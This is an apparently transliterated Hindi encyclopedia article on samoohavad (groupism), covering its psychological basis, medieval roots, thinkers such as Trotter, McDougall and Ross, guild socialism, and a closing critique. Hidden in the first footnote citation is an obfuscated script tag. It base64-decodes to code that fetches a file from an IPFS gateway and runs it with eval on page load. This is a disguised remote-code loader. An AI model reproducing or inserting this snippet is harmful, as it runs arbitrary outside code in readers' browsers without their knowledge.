समूहवाद
samoohavad ek prakar ki samashtivadi vicharadhara ka pratik hai. is vichar-paddhati mean vyaktigat jivan par samoohik niyantran ki sarthakata svikar ki jati hai. samoohik niyantran kee prakar ka hota hai, kyoanki vyakti ke jivan ka sampark samaj aur samaj-sthit vibhinn samoohoan se hota hai. sampark ke inhian madhyamoan se samoohik niyantranoan ki sthapana hoti hai aur in samparkoan ke mool mean manushy ki samajik bhavana nihit hai. samoohavad manushy ki aant:prakrittiyoan aur inhian aant: pravrittiyoan dvara prabhavit bauddhik sankalp ko hi samajikata ka karan manata hai. at: samoohavadi samajik aur samoohik sanghatanoan ka vishleshan karane ke lie manushy ke manovaijnanik gathan ka bhi parikshan karate haian. isilie samoohavad ka darshanik adhar samajashastriy manovijnan, arthath 'soshal saik aauloji' hai.[1]
darshanik aandolan
uparyukt roop mean samoohavad bisavian shati ka darshanik aandolan hai, kiantu madhy yug ki samooh vyavastha bhi ek prakar ki samoohavadi sthiti hi thi. yah doosari bat hai ki madhyayugin samooh-vyavastha ka saiddhaantik adhar manovijnan n hokar samajik, rajanaitik aur arthik paristhitiyoan ki anivaryataean thian. madhy yug mean yoorop mean samajavad sarvatr vyapt tha aur is nate yooropiy sanskriti ka samoocha roop hi sanghatmak ho gaya. adhunik yug mean jab samoohoan ki mahatta ka vishleshan prarambh hua to bahut-se adhunik vicharakoan ne apani drishti madhy yug ki or dali. is drishti se adhunik yug mean rajanitik andolan bhi chalaye gaye aur in aandolanoan ka dhyey rajy ki samprabhuta ko vibhinn dharmik, arthik aur samajik samudayoan mean b aautane ka tha. at: yah kahana bhi saty hai ki samoohavad rajy ki nirankushata ki pratikriya hai.
adhunik yug mean samoohavad
adhunik yug mean samoohavad ko manovaijnanik adhar par pratishthit karane ka prayas kiya gaya hai. manovaijnanikoan ne samaj aur usake vibhinn samoohoan ke jivan ka parikshan arambh kiya aur is nishkarsh par pahuanche ki manushy ki vikasit samaj bhavana ki utpatti sudoor atit mean hi adim manav ki jati, gotr aur samoohabhavana mean ho gayi thi aur pragaitihasik kal ke adim manavoan se hamari parampara ne sanskar ke roop mean ise grahan kiya hai. samay ka aantaral pakar ye sanskar hamare aantarik jivan ki us star par utar ate haian, jahaan vah sahaj, naisagiank aant: pravrittiyoan ka roop dharan kar lete hai. hamari samaj-bhavana inhian aantarik pravrittioan se prasphutit hoti hai.[1]
aantahiant samajikata ka adhyayan
samoohavad ne manushy ki aantahiant samajikata ka adhyayan do drishtikonoan se kiya hai-
- pahala drishtikon to yah hai ki samoohavadi manushy ke manovaijnanik sanghatan par vichar karata hai. tatpashchath vah is nishkarsh par pahuchata hai ki samaj bhavana usaki aantarik pravritti hai, jise usane adim manushy ka vanshaj hone ke nate prapt kiya hai. is prakar ke drishtikon ki rekhaean vyakti ki simit manovaijnanik paridhi mean hi ghoomati rahati hai. adhunik yug mean tratar, grauham vailes aur maikdoogal ne is drishtikon ko apanakar samoohoan ki vyakhya ka prayas kiya hai. tratar ke anusar manushy mean atmaraksha, prajanan aur apane ahamh se sneh ki prakriti-pradat bhavanaean chhipi hai. ye bhavanaean manav ko poorn tatha svasimit bana detian, yadi usake bhitar samajikata ki bhavana sath-hi-sath n hoti. at: samaj ki utpatti ka karan manushy ka bauddhik sankalp n hokar usaki naisagiank aant: pravrittiyaan hai. graiham vailes bhi tratar ke saman samaj ki utpatti ka tark manav ki aantanihit pravrittiyoan mean pata hai, kiantu vah tratar se ek pag age jakar in aant:-pravrittiyoan par samaj dvara bauddhik niyantran ki maang prastut karata hai. maikdoogal ki samaj-vyakhya mean tratar aur vailes se kahian adhik manovaijnanikata ka aansh hai. usake anusar manushy ke bhitar gyarah aant:pravrittiyaan haian aur inhian mean se kuchh aisi bhi haian, jinase samaj aur samoohoan ka janm hota hai. tratar, graiham vailes aur maikdoogal ki vyakhyaean vyashtigat manovijnan ke adharabhoot tattvoan ka prakshepan samaj mean karati hai.
- doosara drishtikon yah hai ki samoohavadi sarvapratham samoohoan ki sthiti aur sanghatan par vichar karata hai. tatpashchath vah inaki anivaryata to siddh karata hai. amerika mean adhunik kal mean is vicharadhara ka yathesht prachalan hua hai. r aaus s ka nam is drishti se ullekhaniy hai. r aaus samoohoan ke niyantran ki kalpana bauddhik hai.
samajavadi parampara par prabhav
is prakar se samoohavad manovijnan ke kshetr mean naye manovaijnanik drishtikon ki sarjana karata hai, jise samooh-manovijnan athava 'groop saik aauloji' kahate haian. samoohavad ne ek nishchit prakar ki samajavadi parampara ko bhi prabhavit kiya hai, jise 'shreni-sangh-samajavad' athava 'gild soshalijm' kahate haian. shreni-sangh-samajavad samajavad aur madhyayugin samooh vyavastha se prabhavit hua hai. samajavad se prabhavit hone ke nate yah utpadan ke sadhanoan par samoohik niyantran ki maang karata hai aur samaj ko arthik vargoan mean n vibhajit kar samoohoan mean vibhajit karata hai. is drishti se madhy yug ki samooh vyavastha ne shreni-sangh-samajavad ko prabhavit kiya hai. jivan mean nana prakar ke karm hai aur inhian karmoan ko lekar samaj mean vibhitr samudayoan ki rachana ki gayi hai. shreni-sangh-samajavad samaj ki sampoorn satta rajy ke hathoan se chhinakar inhian dharmik, samajik, arthik aur saanskritik samudayoan ko hastantarit karata hai. bisavi shati ke prarambh mean yah samajavad ianglaind mean rajanitik aandolan ke roop mean vikasit hua, parantu rajanitik paristhitiyoan ki kathorata ne bahut hi alp kal mean isaki shakti kshin kar di. is aandolan ke prati nidhiyoan ke roop mean ji. di. ech. kol aur h aaubsan ke nam ullekhaniy haian.[1]
jivan ka ekaangi darshan
samoohavad apane vibhinn roopoan mean samashti ki anivaryata par itana adhik bal deta hai ki usaki paddhati mean vyaktigat svatantrata ko samajik jivan mean koee sthan prapt nahian hota. rajy ki nirankushata par jab kahian bhi isane kathor prahar kiya hai to usake sthan par isane samooh ki nirankushata ko sthapit karane ka prayas kiya hai. aisi sthiti mean samoohavad jivan ka ekaangi darshan hai. samagr jivan ka saphal darshan prastut karane ke lie samoohavad ko vyashti aur samashti ke sambandhoan ko naye pratimanoan ki shrriankhala mean jo dane ka prayas karana p dega, is aitihasik saty mean kam-se-kam aj koee sandeh nahian.[2]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 hindi sahity kosh, bhag 1 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 734 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sahayak granth-m aaudarn politikal thyori: si.ee.em. jod
sanbandhit lekh
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varnamala kramanusar lekh khoj
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